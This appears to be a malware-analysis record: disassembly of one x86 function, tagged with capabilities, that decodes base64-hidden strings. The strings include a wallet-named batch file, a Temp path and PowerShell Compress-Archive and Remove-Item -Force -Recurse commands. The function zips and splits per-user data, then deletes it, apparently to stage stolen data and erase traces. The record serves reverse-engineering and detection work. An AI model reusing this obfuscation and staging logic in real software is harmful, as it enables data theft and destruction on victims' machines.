Function at 0x401f99
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb38
lea eax, [ebp - 0x40]
mov dword [esp + 4], eax
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
call sym._base64_decode
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x170]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x174]
mov dword [esp + 4], eax
mov dword [esp], 0x425020
call sym._base64_decode
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42912c
lea eax, [ebp - 0x16c]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x429350
lea eax, [ebp - 0x16c]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 0
je 0x402051
lea eax, [ebp - 0x16c]
mov dword [esp], eax
call sym._remove
call sym._get_uid
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x4c1], 0x33394763
mov dword [ebp - 0x4bd], 0x7a4a585a
mov dword [ebp - 0x4b9], 0x73564761
mov dword [ebp - 0x4b5], 0x44424362
mov dword [ebp - 0x4b1], 0x77313262
mov dword [ebp - 0x4ad], 0x7a566d63
mov dword [ebp - 0x4a9], 0x42317963
mov dword [ebp - 0x4a5], 0x6f4e6d63
mov dword [ebp - 0x4a1], 0x6c5a5861
mov dword [ebp - 0x49d], 0x51314349
mov dword [ebp - 0x499], 0x6f525859
mov byte [ebp - 0x495], 0
lea eax, [ebp - 0x4c8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4c1]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0x44c260
mov dword [esp + 0xc], 0x44c060
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__DestinationPath__s_s.zip
lea eax, [ebp - 0x494]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x494]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x402142
mov dword [esp], 0x429125
call sym._puts
jmp 0x40214e
mov dword [esp], 0x4291db
call sym._puts
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44c260
mov dword [esp + 4], str._s_s.zip
lea eax, [ebp - 0x7e8]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x7e8]
mov dword [esp], eax
call sym._findSize
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov edx, 0x431bde83
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0x12
sar ecx, 0x1f
mov edx, ecx
sub eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov edx, eax
neg edx
cmovns eax, edx
cmp eax, 1
jle 0x4021ef
mov eax, dword [ebp - 0x2c]
mov edx, eax
neg edx
cmovns eax, edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x7e8]
mov dword [esp], eax
call sym._split_file
lea eax, [ebp - 0x7e8]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4021fb
mov dword [esp], 0x429125
call sym._puts
jmp 0x4021fb
mov dword [esp], 0x42939f
call sym._puts
mov dword [ebp - 0x34], str.cG93ZXJzaGVsbCBSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGg
lea eax, [ebp - 0xb0c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x38], eax
mov dword [esp + 0xc], 0x44c060
mov eax, dword [ebp - 0x38]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__Force__Recurse
lea eax, [ebp - 0xb08]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0xb08]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x402264
mov dword [esp], 0x429125
call sym._puts
jmp 0x402270
mov dword [esp], str.successfully
call sym._puts
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret